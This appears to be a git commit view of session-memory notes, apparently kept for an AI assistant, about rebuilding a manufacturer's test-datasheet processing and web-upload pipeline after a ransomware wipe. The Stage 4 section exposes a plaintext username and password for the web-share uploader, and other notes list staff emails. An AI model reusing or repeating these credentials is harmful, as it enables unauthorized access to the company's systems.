- Config: C:\DFWDS\DFWDS_NAMES.TXT (hardcoded path in exe)
|
||||
- Reads X:\Test_Datasheets (X: = \\ad2\webshare)
|
||||
- Validates files, renames DOS-encoded filenames to serial number format
|
||||
- Valid -> X:\For_Web (~501K files), Invalid -> X:\Bad_Datasheets (~18K files)
|
||||
- Logs -> X:\Datasheets_Log (daily logs since 2014)
|
||||
- Operations: COUNT, LISTALL, LISTBAD, LISTRENAME, INPLACE, WEBMOVE
|
||||
|
||||
### Stage 4: TestDataSheetUploader (VB.NET, .NET 4.7.2)
|
||||
- Source: \\AD1\Engineering\ENGR\ATE\Test Datasheets\TestDataSheetUploader\
|
||||
- Syncs files to www.dataforth.com via 3 HTTP services:
|
||||
- Uploader.aspx, DirectoryManifest.aspx, DeleteFile.aspx
|
||||
- Credentials: DataforthWebShare / Data6277
|
||||
- Only uploads files modified in current year
|
||||
- Compares local vs server manifest (filename, size, last-write-time)
|
||||
- Deletes server files that no longer exist locally
|
||||
- Author: "hoffm" (Hoffman)
|
||||
|
||||
### Stage 5: PDF generation
|
||||
- X:\For_Web_PDF has ~4,773 PDFs (separate process, origin unclear)
|
||||
|
||||
## X: Drive Layout (\\ad2\webshare)
|
||||
- X:\Test_Datasheets — incoming datasheets (staging for DFWDS)
|
||||
- X:\For_Web — validated/renamed datasheets (501K+ files)
|
||||
- X:\For_Web_PDF — PDF versions (4.7K files)
|
||||
- X:\Bad_Datasheets — invalid files (18K files)
|
||||
- X:\Datasheets_Log — DFWDS operation logs
|
||||
|
||||
## Datasheet Format
|
||||
- Plain text, ~50 lines
|
||||
- Header: Dataforth Corporation address/phone
|
||||
- Fields: Date, Model (e.g. SCM5B41-03), SN (e.g. 178439-1)
|
||||
- Accuracy test table (Vin, Calculated Vout, Measured Vout, Error%, Status)
|
||||
- Final test results (Supply Current, Output Resistance, Linearity, Accuracy, etc.)
|
||||
- Filename format: {SN}.txt (e.g. 178439-1.txt)
|
||||
|
||||
## TestDataDB
|
||||
- Node.js/SQLite app at C:\Shares\testdatadb\
|
||||
- PM2-managed via start-server.bat
|
||||
- Scheduled task "TestDataDB Server" runs at system startup (currently DISABLED)
|
||||
- Provides web UI and API for querying test data
|
||||
- Import script: C:\Shares\testdatadb\database\import.js
|
||||
|
||||
## Known Gaps (as of 2026-03-27)
|
||||
1. MISSING LINK: How do .TXT reports get from C:\Shares\test\TS-XX\Reports\ to X:\Test_Datasheets? May need to build this. Clues may exist in Engineering share.
|
||||
2. DFWDS config (C:\DFWDS\DFWDS_NAMES.TXT) missing — wiped in crypto attack. Check Haubner machine D: drive for backup of visible shares.
|
||||
3. TestDataSheetUploader not deployed/scheduled on AD2 — needs production config
|
||||
4. TestDataDB Server task disabled — should be operational
|
||||
|
||||
**Why:** Reconstructing this pipeline after AD2 crypto wipe. Manufacturing is actively producing test data (files arriving daily) but downstream processing (DFWDS, web upload) is broken.
|
||||
|
||||
**How to apply:** Priority is restoring the full pipeline end-to-end. Check Haubner D: for DFWDS config backup. Look in ENGR share for clues about the Reports->Test_Datasheets transfer mechanism.
|
||||
11
clients/dataforth/session-logs/reference_haubner_backup.md
Normal file
11
clients/dataforth/session-logs/reference_haubner_backup.md
Normal file
@@ -0,0 +1,11 @@
|
||||
---
|
||||
name: Haubner machine backup location
|
||||
description: D: drive on Haubner's machine has backup of all visible network shares from before the crypto attack. Key resource for recovering lost configs.
|
||||
type: reference
|
||||
---
|
||||
|
||||
Haubner's machine D: drive contains a backup of all visible network shares from before the crypto attack on AD2.
|
||||
|
||||
**Why:** AD2 was wiped; configs like C:\DFWDS\DFWDS_NAMES.TXT may have been on a visible share and backed up there.
|
||||
|
||||
**How to apply:** When looking for lost configs or files that were on AD2 before the wipe, check Haubner's D: drive. Need to identify the machine's hostname or IP to access it.
|
||||
10
clients/dataforth/session-logs/user_mike_swanson.md
Normal file
10
clients/dataforth/session-logs/user_mike_swanson.md
Normal file
@@ -0,0 +1,10 @@
|
||||
---
|
||||
name: Mike Swanson - external IT consultant
|
||||
description: User is Mike Swanson (mike@azcomputerguru.com), external IT consultant managing Dataforth's infrastructure recovery after crypto attack.
|
||||
type: user
|
||||
---
|
||||
|
||||
Mike Swanson, azcomputerguru.com — external IT consultant for Dataforth Corporation (Tucson, AZ).
|
||||
Managing infrastructure recovery on AD2 after the crypto/ransomware attack.
|
||||
Has direct CMD/PowerShell access to multiple machines on the network including user workstations (e.g., HGHAUBNER).
|
||||
Engineering contacts: John Lehman (jlehman@dataforth.com), Peter Iliya (pIliya@dataforth.com).
|
||||
Reference in New Issue
Block a user